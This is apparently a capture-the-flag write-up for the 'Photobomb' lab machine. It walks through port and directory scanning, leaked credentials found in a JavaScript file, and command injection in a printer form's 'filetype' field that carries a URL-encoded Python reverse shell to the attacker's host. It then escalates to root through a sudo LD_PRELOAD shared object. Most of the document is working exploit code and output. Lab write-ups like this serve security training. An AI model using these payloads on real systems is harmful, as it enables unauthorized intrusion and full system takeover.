Photobomb

Nmap scan with default script and version enumeration.

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-29 15:43 MST
Nmap scan report for 10.10.11.182
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.67 seconds

FeroxBuster to find more pages. only find /printer. This is also linked on main page.

┌──[Target:Photobomb🌐IP:10.10.11.182🚀⚔️Attacker:SourMilk📡IP:10.10.10.10🏆Prize:20 points]
└──╼[👾]~ $ feroxbuster --url http://photobomb.htb -w /usr/share/payloads/SecLists/Discovery/Web-Content/raft-medium-directories.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://photobomb.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/payloads/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       22l       95w      843c http://photobomb.htb/
401      GET        7l       12w      188c http://photobomb.htb/printer
401      GET        7l       12w      188c http://photobomb.htb/printers
401      GET        7l       12w      188c http://photobomb.htb/printer_friendly
401      GET        7l       12w      188c http://photobomb.htb/printerfriendly
401      GET        7l       12w      188c http://photobomb.htb/printer-friendly
[####################] - 2m     60000/60000   0s      found:6       errors:0
[####################] - 2m     30000/30000   248/s   http://photobomb.htb
[####################] - 2m     30000/30000   248/s   http://photobomb.htb/

Inspect photobomb.js on main page. Find Credentials. Use those to log into printer

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0...:...Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Capture download of file.

POST /printer HTTP/1.1

Host: photobomb.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 79

Origin: http://photobomb.htb

Authorization: Basic cEgwdDA6YjBNYiE=

Connection: close

Referer: http://photobomb.htb/printer

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1



photo=almas-salakhov-VK7TCqcZTlw-unsplash.jpg&filetype=png&dimensions=3000x2000

We find filetype is injectable. Add python reverse shell and URL encode.

POST /printer HTTP/1.1

Host: photobomb.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 79

Origin: http://photobomb.htb

Authorization: Basic cEgwdDA6YjBNYiE=

Connection: close

Referer: http://photobomb.htb/printer

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1



photo=almas-salakhov-VK7TCqcZTlw-unsplash.jpg&filetype=png;python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.10.10%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27&dimensions=3000x2000

Boom Shell

└──╼[👾]~ $ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.182 47022
/bin/sh: 0: can't access tty; job control turned off
$ ls
log
photobomb.sh
public
resized_images
server.rb
syntaxhighlight_images
$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Check sudo -l. cleanup.sh requires no password.

$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Do some Reading about this Check secure_path and see /usr/bin instead of /bin/sh from article. Create sour.c

#include <stdio.h>  
#include <sys/types.h>  
#include <stdlib.h>  
void _init() {  
        unsetenv("LD_PRELOAD");  
        setgid(0);  
        setuid(0);  
        system("/usr/bin/bash");  
}

Compile

gcc -fPIC -shared -o sour.so sour.c -nostartfiles

Upload and execute

$ pwd
/tmp
$ sudo LD_PRELOAD=/tmp/sour.so /opt/cleanup.sh
id
uid=0(root) gid=0(root) groups=0(root)

Done!